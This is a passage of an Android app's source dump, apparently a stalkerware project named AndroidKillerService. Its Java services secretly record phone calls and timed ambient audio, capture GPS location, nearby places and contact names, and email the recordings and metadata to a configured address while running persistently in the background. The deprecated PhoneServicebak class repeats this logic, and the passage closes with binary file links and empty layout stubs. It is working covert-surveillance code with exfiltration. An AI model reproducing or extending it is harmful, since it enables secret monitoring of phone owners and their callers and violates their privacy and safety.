PhoneService.this.phoneNumber = null; 254 | PhoneService.this.outphoneNumber = null; 255 | PhoneService.this.pName = null; 256 | PhoneService.this.isRecord = false; 257 | PhoneService.this.isPath = false; 258 | } catch (InterruptedException e) { 259 | e.printStackTrace(); 260 | } 261 | } 262 | }).start(); 263 | } 264 | } 265 | 266 | @Override 267 | public void stopWork(Intent intent, int flags, int startId) { 268 | stopService(); 269 | } 270 | 271 | @Override 272 | public Boolean isWorkRunning(Intent intent, int flags, int startId) { 273 | //若还没有取消订阅, 就说明任务仍在运行. 274 | return sDisposable != null && !sDisposable.isDisposed(); 275 | } 276 | 277 | @Nullable 278 | @Override 279 | public IBinder onBind(Intent intent, Void alwaysNull) { 280 | return null; 281 | } 282 | 283 | @Override 284 | public void onServiceKilled(Intent rootIntent) { 285 | System.out.println("终止进程!"); 286 | } 287 | 288 | public int onStartCommand(Intent intent, int flags, int startId) { 289 | Location location = new Location(); 290 | Location.updateListener(); 291 | try { 292 | this.outphoneNumber = intent.getExtras().getString("outNumber"); 293 | XLog.d("获取电话号码:" + outphoneNumber); 294 | this.pName = OtherOperatorService.getContactNameFromPhoneBook(getApplicationContext(), this.outphoneNumber); 295 | } catch (Exception e) { 296 | e.printStackTrace(); 297 | XLog.d("未获取电话号码"); 298 | } 299 | this.paras = new GetSharePrefe(getApplicationContext()); 300 | this.zcps = getApplicationContext().getSharedPreferences("reg", 0); 301 | this.shoujiName = this.paras.getShoujiName(); 302 | if (this.outphoneNumber == null || this.outphoneNumber.length() >= 3) { 303 | if (!this.isRecord) { 304 | ((TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE)).listen(new myPhoneStateListener(), 32); 305 | } 306 | } else if (!this.isRecord) { 307 | this.huanjingluyinFlag = true; 308 | readyFile(); 309 | new Thread(new Runnable() { 310 | public void run() { 311 | try { 312 | if (PhoneService.this.isPath) { 313 | PhoneService.this.startRecording(); 314 | } 315 | Thread.sleep((long) ((Integer.parseInt(PhoneService.this.outphoneNumber) * 60) * 1000)); 316 | if (PhoneService.mediaRecorder == null || !PhoneService.this.isRecord) { 317 | PhoneService.mediaRecorder = null; 318 | PhoneService.this.isRecord = false; 319 | } else { 320 | PhoneService.this.stopRecording(); 321 | PhoneService.this.stopTime = System.currentTimeMillis(); 322 | } 323 | String temp = PhoneService.this.getNowState(); 324 | PhoneService.this.huanjingluyinFlag = false; 325 | if (PhoneService.this.paras.isWeizhijilu()) { 326 | PhoneService.this.getUserLocation(); 327 | } 328 | String subject = new StringBuilder(String.valueOf(PhoneService.this.shoujiName)).append("发来--环录邮件(").append(temp).append(";位置:").append(PhoneService.this.addr).append(")").toString(); 329 | String content = "邮件标题:" + subject + "
" + temp + "
" + "
环录内容:见附件" + PhoneService.this.phoneNumber + "
附近信息:" + PhoneService.this.poiString + "
" + PhoneService.this.baiduMap + "
----------------------------------------
" + OtherOperatorService.getTxtHistory(new File(PhoneService.this.filedir, "phone.txt")); 330 | if (OtherOperatorService.checkwifiwork(PhoneService.this.getApplicationContext())) { 331 | String smtp = PhoneService.this.paras.getSmtp(); 332 | String port = PhoneService.this.paras.getPort(); 333 | String useremail = PhoneService.this.paras.getUserEmail(); 334 | String password = PhoneService.this.paras.getUserPassword(); 335 | if (PhoneService.this.file.exists()) { 336 | OtherOperatorService.uploadEmail(OtherOperatorService.getFilePathList(PhoneService.this.filedir), PhoneService.this.path, smtp, port, useremail, password, useremail, useremail, subject, content); 337 | } else { 338 | String str = smtp; 339 | String str2 = port; 340 | String str3 = useremail; 341 | String str4 = password; 342 | String str5 = useremail; 343 | OtherOperatorService.uploadEmail(str, str2, str3, str4, str5, new String[]{useremail}, subject, "录音文件不存在,本次环境录音未成功"); 344 | } 345 | } else { 346 | PhoneService.this.file = new File(PhoneService.this.filedir, "phone.txt"); 347 | if (PhoneService.this.file.exists()) { 348 | PhoneService.this.file.delete(); 349 | PhoneService.this.file = new File(PhoneService.this.filedir, "phone.txt"); 350 | } 351 | OtherOperatorService.txtFileSave(PhoneService.this.file, "0" + content); 352 | } 353 | PhoneService.this.startTime = 0; 354 | PhoneService.this.file = null; 355 | PhoneService.this.filedir = null; 356 | PhoneService.this.path = null; 357 | PhoneService.this.phoneNumber = null; 358 | PhoneService.this.outphoneNumber = null; 359 | PhoneService.this.pName = null; 360 | PhoneService.this.isRecord = false; 361 | PhoneService.this.isPath = false; 362 | } catch (InterruptedException e) { 363 | e.printStackTrace(); 364 | } 365 | } 366 | }).start(); 367 | } 368 | return Service.START_STICKY; 369 | } 370 | 371 | public void startRecording() { 372 | if (this.paras.isTonghualuyin()) { 373 | try { 374 | mediaRecorder = new MediaRecorder(); 375 | mediaRecorder.setAudioSource(4); 376 | mediaRecorder.setAudioSamplingRate(16000); 377 | mediaRecorder.setOutputFormat(3); 378 | mediaRecorder.setAudioEncoder(1); 379 | mediaRecorder.setOutputFile(this.file.getAbsolutePath()); 380 | mediaRecorder.prepare(); 381 | mediaRecorder.start(); 382 | this.isRecord = true; 383 | } catch (Exception e) { 384 | this.isRecord = false; 385 | mediaRecorder.reset(); 386 | mediaRecorder.release(); 387 | mediaRecorder = null; 388 | } 389 | } 390 | } 391 | 392 | public String getNowState() { 393 | String temp = ""; 394 | if (this.huanjingluyinFlag) { 395 | return "环录:" + this.outphoneNumber + "分钟"; 396 | } 397 | if (this.incomingFlag) { 398 | return "来电:" + this.incoming_number; 399 | } 400 | return "去电:" + this.outphoneNumber; 401 | } 402 | 403 | public void getUserLocation() { 404 | double tempj = Location.getLocation().getLongitude(); 405 | String temps = new StringBuilder(String.valueOf(tempj)).append(",").append(Location.getLocation().getLatitude()).toString(); 406 | this.baiduMap = ""; 407 | this.addr = Location.getLocation().getAddr(); 408 | if (this.addr == null) { 409 | this.addr = "位置信息不明"; 410 | } 411 | String temppoi = Location.getLocation().getPoiStr(); 412 | if (temppoi == null) { 413 | this.poiString = "位置周边信息不明"; 414 | } else { 415 | this.poiString = OtherOperatorService.getSubstring(temppoi); 416 | } 417 | } 418 | 419 | public void sendTongZhi(String useremail, String temp) { 420 | if (!OtherOperatorService.isReg(this.paras.getUserEmail(), this.paras.getShoujiImei(), this.zcps.getString("zhucema", ""))) { 421 | OtherOperatorService.showNotisfy(getApplicationContext(), R.drawable.mytp, "温馨提示:你刚才的电话记录已为你备份至" + useremail + "邮箱", "温馨提示", new StringBuilder(String.valueOf(temp)).append("记录已为你备份至").append(useremail).append("邮箱").toString()); 422 | } 423 | } 424 | 425 | public void stopRecording() { 426 | try { 427 | mediaRecorder.stop(); 428 | mediaRecorder.release(); 429 | } catch (Exception e) { 430 | e.printStackTrace(); 431 | } 432 | mediaRecorder = null; 433 | this.isRecord = false; 434 | } 435 | 436 | public void readyFile() { 437 | this.path = OtherOperatorService.setJtingPath(getApplicationContext()); 438 | this.startTime = System.currentTimeMillis(); 439 | if (this.path != null) { 440 | this.filedir = new File(this.path); 441 | if (!this.filedir.exists()) { 442 | this.filedir.mkdir(); 443 | } 444 | if (this.incomingFlag) { 445 | this.phoneNumber = "laidian" + this.incoming_number + "_" + this.startTime + ".amr"; 446 | } else if (this.huanjingluyinFlag) { 447 | this.phoneNumber = "hjluyin" + this.outphoneNumber + "_" + this.startTime + ".amr"; 448 | } else { 449 | this.phoneNumber = "qudian" + this.outphoneNumber + "_" + this.startTime + ".amr"; 450 | } 451 | this.file = new File(this.filedir, this.phoneNumber); 452 | this.isPath = true; 453 | } 454 | } 455 | 456 | public void onCreate() { 457 | super.onCreate(); 458 | Log.i("111", "service线程:" + Thread.currentThread().getId()); 459 | } 460 | } 461 | 462 | -------------------------------------------------------------------------------- /app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/service/PhoneServicebak.java: -------------------------------------------------------------------------------- 1 | package com.shiliukeji.xc_lsy.androidkillerservice.service; 2 | 3 | import android.app.Service; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.content.SharedPreferences; 7 | import android.media.MediaRecorder; 8 | import android.os.IBinder; 9 | import android.telephony.PhoneStateListener; 10 | import android.telephony.TelephonyManager; 11 | import android.util.Log; 12 | 13 | import com.elvishew.xlog.XLog; 14 | import com.shiliukeji.xc_lsy.androidkillerservice.R; 15 | import com.shiliukeji.xc_lsy.androidkillerservice.location.Location; 16 | 17 | import java.io.File; 18 | import java.util.List; 19 | 20 | /** 21 | * Created by XC_LSY on 2017/7/6. 22 | */ 23 | @Deprecated 24 | public class PhoneServicebak extends Service { 25 | private static MediaRecorder mediaRecorder; 26 | private String addr; 27 | private String baiduMap; 28 | private File file; 29 | private File filedir; 30 | private boolean huanjingluyinFlag = false; 31 | private boolean incomingFlag = false; 32 | private String incoming_number; 33 | private boolean isPath = false; 34 | private boolean isRecord = false; 35 | private boolean isSended = false; 36 | public String outphoneNumber; 37 | private String pName; 38 | private GetSharePrefe paras; 39 | private String path; 40 | private String phoneNumber; 41 | private String poiString; 42 | private String shoujiName; 43 | private long startTime = 0; 44 | private long stopTime = 0; 45 | private SharedPreferences zcps; 46 | 47 | private final class myPhoneStateListener extends PhoneStateListener { 48 | private myPhoneStateListener() { 49 | } 50 | 51 | public void onCallStateChanged(int state, String incomingNumber) { 52 | switch (state) { 53 | case 0: 54 | if (PhoneServicebak.mediaRecorder == null || !PhoneServicebak.this.isRecord || PhoneServicebak.this.file.length() <= 400) { 55 | PhoneServicebak.mediaRecorder = null; 56 | PhoneServicebak.this.isRecord = false; 57 | } else { 58 | PhoneServicebak.this.stopRecording(); 59 | } 60 | if (PhoneServicebak.this.startTime != 0) { 61 | PhoneServicebak.this.stopTime = System.currentTimeMillis(); 62 | String temp = PhoneServicebak.this.getNowState(); 63 | if (PhoneServicebak.this.paras.isWeizhijilu()) { 64 | PhoneServicebak.this.getUserLocation(); 65 | } 66 | String subject = new StringBuilder(String.valueOf(PhoneServicebak.this.shoujiName)).append("发来--电话邮件(").append(temp).append(";位置:").append(PhoneServicebak.this.addr).append(")").toString(); 67 | String content = "邮件标题:" + subject + "
" + temp + "(" + PhoneServicebak.this.pName + ")
通话时长:" + OtherOperatorService.getTimeLenth(PhoneServicebak.this.startTime, PhoneServicebak.this.stopTime) + "(开始时间:" + OtherOperatorService.getCurrentTime(Long.valueOf(PhoneServicebak.this.startTime)) + ")" + "
通话内容:见附件" + PhoneServicebak.this.phoneNumber + "
附近信息:" + PhoneServicebak.this.poiString + "
" + PhoneServicebak.this.baiduMap + "
----------------------------------------
" + OtherOperatorService.getTxtHistory(new File(PhoneServicebak.this.filedir, "phone.txt")); 68 | if (OtherOperatorService.check3Gwifi(PhoneServicebak.this.getApplicationContext())) { 69 | if (!PhoneServicebak.this.isSended && PhoneServicebak.this.paras.isUserSetOk()) { 70 | String smtp = PhoneServicebak.this.paras.getSmtp(); 71 | String port = PhoneServicebak.this.paras.getPort(); 72 | String useremail = PhoneServicebak.this.paras.getUserEmail(); 73 | String password = PhoneServicebak.this.paras.getUserPassword(); 74 | if (PhoneServicebak.this.file.exists()) { 75 | List paths = OtherOperatorService.getFilePathList(PhoneServicebak.this.filedir); 76 | if (PhoneServicebak.this.paras.isAllnet()) { 77 | OtherOperatorService.uploadEmail(paths, PhoneServicebak.this.path, smtp, port, useremail, password, useremail, useremail, subject, content); 78 | PhoneServicebak.this.sendTongZhi(useremail, temp); 79 | } else if (PhoneServicebak.this.paras.isWifi() && OtherOperatorService.checkwifiwork(PhoneServicebak.this.getApplicationContext())) { 80 | OtherOperatorService.uploadEmail(paths, PhoneServicebak.this.path, smtp, port, useremail, password, useremail, useremail, subject, content); 81 | PhoneServicebak.this.sendTongZhi(useremail, temp); 82 | } else { 83 | PhoneServicebak.this.file = new File(PhoneServicebak.this.filedir, "phone.txt"); 84 | if (PhoneServicebak.this.file.exists()) { 85 | PhoneServicebak.this.file.delete(); 86 | PhoneServicebak.this.file = new File(PhoneServicebak.this.filedir, "phone.txt"); 87 | } 88 | OtherOperatorService.txtFileSave(PhoneServicebak.this.file, "1" + content); 89 | } 90 | } else { 91 | OtherOperatorService.uploadEmail(smtp, port, useremail, password, useremail, new String[]{useremail}, subject, content); 92 | PhoneServicebak.this.sendTongZhi(useremail, temp); 93 | } 94 | PhoneServicebak.this.isSended = true; 95 | PhoneServicebak.this.startTime = 0; 96 | PhoneServicebak.this.stopTime = 0; 97 | PhoneServicebak.this.incomingFlag = false; 98 | PhoneServicebak.this.file = null; 99 | PhoneServicebak.this.filedir = null; 100 | PhoneServicebak.this.path = null; 101 | PhoneServicebak.this.phoneNumber = null; 102 | PhoneServicebak.this.outphoneNumber = null; 103 | PhoneServicebak.this.pName = null; 104 | PhoneServicebak.this.isRecord = false; 105 | PhoneServicebak.this.isPath = false; 106 | return; 107 | } 108 | return; 109 | } else if (!"".equals(subject)) { 110 | PhoneServicebak.this.file = new File(PhoneServicebak.this.filedir, "phone.txt"); 111 | if (PhoneServicebak.this.file.exists()) { 112 | PhoneServicebak.this.file.delete(); 113 | PhoneServicebak.this.file = new File(PhoneServicebak.this.filedir, "phone.txt"); 114 | } 115 | OtherOperatorService.txtFileSave(PhoneServicebak.this.file, "0" + content); 116 | PhoneServicebak.this.startTime = 0; 117 | PhoneServicebak.this.stopTime = 0; 118 | PhoneServicebak.this.incomingFlag = false; 119 | PhoneServicebak.this.file = null; 120 | PhoneServicebak.this.filedir = null; 121 | PhoneServicebak.this.path = null; 122 | PhoneServicebak.this.phoneNumber = null; 123 | PhoneServicebak.this.outphoneNumber = null; 124 | PhoneServicebak.this.pName = null; 125 | subject = ""; 126 | PhoneServicebak.this.isRecord = false; 127 | PhoneServicebak.this.isPath = false; 128 | return; 129 | } else { 130 | return; 131 | } 132 | } 133 | PhoneServicebak.this.incomingFlag = false; 134 | return; 135 | case 1: 136 | PhoneServicebak.this.incomingFlag = true; 137 | PhoneServicebak.this.incoming_number = incomingNumber; 138 | PhoneServicebak.this.pName = OtherOperatorService.getContactNameFromPhoneBook(PhoneServicebak.this.getApplicationContext(), incomingNumber); 139 | return; 140 | case 2: 141 | if (PhoneServicebak.mediaRecorder == null && !PhoneServicebak.this.isRecord) { 142 | PhoneServicebak.this.readyFile(); 143 | PhoneServicebak.this.isSended = false; 144 | if (PhoneServicebak.this.paras.isTonghualuyin() && PhoneServicebak.this.isPath) { 145 | PhoneServicebak.this.startRecording(); 146 | return; 147 | } 148 | return; 149 | } 150 | return; 151 | default: 152 | return; 153 | } 154 | } 155 | } 156 | 157 | public IBinder onBind(Intent intent) { 158 | return null; 159 | } 160 | 161 | public int onStartCommand(Intent intent, int flags, int startId) { 162 | Location location = new Location(); 163 | Location.updateListener(); 164 | try { 165 | this.outphoneNumber = intent.getExtras().getString("outNumber"); 166 | XLog.d("获取电话号码:" + outphoneNumber); 167 | this.pName = OtherOperatorService.getContactNameFromPhoneBook(getApplicationContext(), this.outphoneNumber); 168 | } catch (Exception e) { 169 | e.printStackTrace(); 170 | XLog.d("未获取电话号码"); 171 | } 172 | this.paras = new GetSharePrefe(getApplicationContext()); 173 | this.zcps = getApplicationContext().getSharedPreferences("reg", 0); 174 | this.shoujiName = this.paras.getShoujiName(); 175 | if (this.outphoneNumber == null || this.outphoneNumber.length() >= 3) { 176 | if (!this.isRecord) { 177 | XLog.d("发送邮件信息!"); 178 | ((TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE)).listen(new myPhoneStateListener(), 32); 179 | } 180 | } else if (!this.isRecord) { 181 | this.huanjingluyinFlag = true; 182 | readyFile(); 183 | new Thread(new Runnable() { 184 | public void run() { 185 | try { 186 | if (PhoneServicebak.this.isPath) { 187 | PhoneServicebak.this.startRecording(); 188 | } 189 | Thread.sleep((long) ((Integer.parseInt(PhoneServicebak.this.outphoneNumber) * 60) * 1000)); 190 | if (PhoneServicebak.mediaRecorder == null || !PhoneServicebak.this.isRecord) { 191 | PhoneServicebak.mediaRecorder = null; 192 | PhoneServicebak.this.isRecord = false; 193 | } else { 194 | PhoneServicebak.this.stopRecording(); 195 | PhoneServicebak.this.stopTime = System.currentTimeMillis(); 196 | } 197 | String temp = PhoneServicebak.this.getNowState(); 198 | PhoneServicebak.this.huanjingluyinFlag = false; 199 | if (PhoneServicebak.this.paras.isWeizhijilu()) { 200 | PhoneServicebak.this.getUserLocation(); 201 | } 202 | String subject = new StringBuilder(String.valueOf(PhoneServicebak.this.shoujiName)).append("发来--环录邮件(").append(temp).append(";位置:").append(PhoneServicebak.this.addr).append(")").toString(); 203 | String content = "邮件标题:" + subject + "
" + temp + "
" + "
环录内容:见附件" + PhoneServicebak.this.phoneNumber + "
附近信息:" + PhoneServicebak.this.poiString + "
" + PhoneServicebak.this.baiduMap + "
----------------------------------------
" + OtherOperatorService.getTxtHistory(new File(PhoneServicebak.this.filedir, "phone.txt")); 204 | if (OtherOperatorService.checkwifiwork(PhoneServicebak.this.getApplicationContext())) { 205 | String smtp = PhoneServicebak.this.paras.getSmtp(); 206 | String port = PhoneServicebak.this.paras.getPort(); 207 | String useremail = PhoneServicebak.this.paras.getUserEmail(); 208 | String password = PhoneServicebak.this.paras.getUserPassword(); 209 | if (PhoneServicebak.this.file.exists()) { 210 | OtherOperatorService.uploadEmail(OtherOperatorService.getFilePathList(PhoneServicebak.this.filedir), PhoneServicebak.this.path, smtp, port, useremail, password, useremail, useremail, subject, content); 211 | } else { 212 | String str = smtp; 213 | String str2 = port; 214 | String str3 = useremail; 215 | String str4 = password; 216 | String str5 = useremail; 217 | OtherOperatorService.uploadEmail(str, str2, str3, str4, str5, new String[]{useremail}, subject, "录音文件不存在,本次环境录音未成功"); 218 | } 219 | } else { 220 | PhoneServicebak.this.file = new File(PhoneServicebak.this.filedir, "phone.txt"); 221 | if (PhoneServicebak.this.file.exists()) { 222 | PhoneServicebak.this.file.delete(); 223 | PhoneServicebak.this.file = new File(PhoneServicebak.this.filedir, "phone.txt"); 224 | } 225 | OtherOperatorService.txtFileSave(PhoneServicebak.this.file, "0" + content); 226 | } 227 | PhoneServicebak.this.startTime = 0; 228 | PhoneServicebak.this.file = null; 229 | PhoneServicebak.this.filedir = null; 230 | PhoneServicebak.this.path = null; 231 | PhoneServicebak.this.phoneNumber = null; 232 | PhoneServicebak.this.outphoneNumber = null; 233 | PhoneServicebak.this.pName = null; 234 | PhoneServicebak.this.isRecord = false; 235 | PhoneServicebak.this.isPath = false; 236 | } catch (InterruptedException e) { 237 | e.printStackTrace(); 238 | } 239 | } 240 | }).start(); 241 | } 242 | return Service.START_STICKY; 243 | } 244 | 245 | public void startRecording() { 246 | if (this.paras.isTonghualuyin()) { 247 | try { 248 | mediaRecorder = new MediaRecorder(); 249 | mediaRecorder.setAudioSource(4); 250 | mediaRecorder.setAudioSamplingRate(16000); 251 | mediaRecorder.setOutputFormat(3); 252 | mediaRecorder.setAudioEncoder(1); 253 | mediaRecorder.setOutputFile(this.file.getAbsolutePath()); 254 | mediaRecorder.prepare(); 255 | mediaRecorder.start(); 256 | this.isRecord = true; 257 | } catch (Exception e) { 258 | this.isRecord = false; 259 | mediaRecorder.reset(); 260 | mediaRecorder.release(); 261 | mediaRecorder = null; 262 | } 263 | } 264 | } 265 | 266 | public String getNowState() { 267 | String temp = ""; 268 | if (this.huanjingluyinFlag) { 269 | return "环录:" + this.outphoneNumber + "分钟"; 270 | } 271 | if (this.incomingFlag) { 272 | return "来电:" + this.incoming_number; 273 | } 274 | return "去电:" + this.outphoneNumber; 275 | } 276 | 277 | public void getUserLocation() { 278 | double tempj = Location.getLocation().getLongitude(); 279 | String temps = new StringBuilder(String.valueOf(tempj)).append(",").append(Location.getLocation().getLatitude()).toString(); 280 | this.baiduMap = ""; 281 | this.addr = Location.getLocation().getAddr(); 282 | if (this.addr == null) { 283 | this.addr = "位置信息不明"; 284 | } 285 | String temppoi = Location.getLocation().getPoiStr(); 286 | if (temppoi == null) { 287 | this.poiString = "位置周边信息不明"; 288 | } else { 289 | this.poiString = OtherOperatorService.getSubstring(temppoi); 290 | } 291 | } 292 | 293 | public void sendTongZhi(String useremail, String temp) { 294 | if (!OtherOperatorService.isReg(this.paras.getUserEmail(), this.paras.getShoujiImei(), this.zcps.getString("zhucema", ""))) { 295 | OtherOperatorService.showNotisfy(getApplicationContext(), R.drawable.mytp, "温馨提示:你刚才的电话记录已为你备份至" + useremail + "邮箱", "温馨提示", new StringBuilder(String.valueOf(temp)).append("记录已为你备份至").append(useremail).append("邮箱").toString()); 296 | } 297 | } 298 | 299 | public void stopRecording() { 300 | try { 301 | mediaRecorder.stop(); 302 | mediaRecorder.release(); 303 | } catch (Exception e) { 304 | e.printStackTrace(); 305 | } 306 | mediaRecorder = null; 307 | this.isRecord = false; 308 | } 309 | 310 | public void readyFile() { 311 | this.path = OtherOperatorService.setJtingPath(getApplicationContext()); 312 | this.startTime = System.currentTimeMillis(); 313 | if (this.path != null) { 314 | this.filedir = new File(this.path); 315 | if (!this.filedir.exists()) { 316 | this.filedir.mkdir(); 317 | } 318 | if (this.incomingFlag) { 319 | this.phoneNumber = "laidian" + this.incoming_number + "_" + this.startTime + ".amr"; 320 | } else if (this.huanjingluyinFlag) { 321 | this.phoneNumber = "hjluyin" + this.outphoneNumber + "_" + this.startTime + ".amr"; 322 | } else { 323 | this.phoneNumber = "qudian" + this.outphoneNumber + "_" + this.startTime + ".amr"; 324 | } 325 | this.file = new File(this.filedir, this.phoneNumber); 326 | this.isPath = true; 327 | } 328 | } 329 | 330 | public void onCreate() { 331 | super.onCreate(); 332 | Log.i("111", "service线程:" + Thread.currentThread().getId()); 333 | } 334 | } 335 | 336 | -------------------------------------------------------------------------------- /app/src/main/jniLibs/armeabi/liblocSDK4.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JamesLiAndroid/AndroidKillerService/9d075a2782f2f2833cb441b83a5b88361918434b/app/src/main/jniLibs/armeabi/liblocSDK4.so -------------------------------------------------------------------------------- /app/src/main/res/drawable/mytp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JamesLiAndroid/AndroidKillerService/9d075a2782f2f2833cb441b83a5b88361918434b/app/src/main/res/drawable/mytp.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/start.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JamesLiAndroid/AndroidKillerService/9d075a2782f2f2833cb441b83a5b88361918434b/app/src/main/res/drawable/start.png -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_help.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 10 | 11 | 19 | 20 | 25 | 26 | 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 12 | 13 | 18 | 19 | 23 | 24 | 29 | 30 | 31 | 38 | 39 |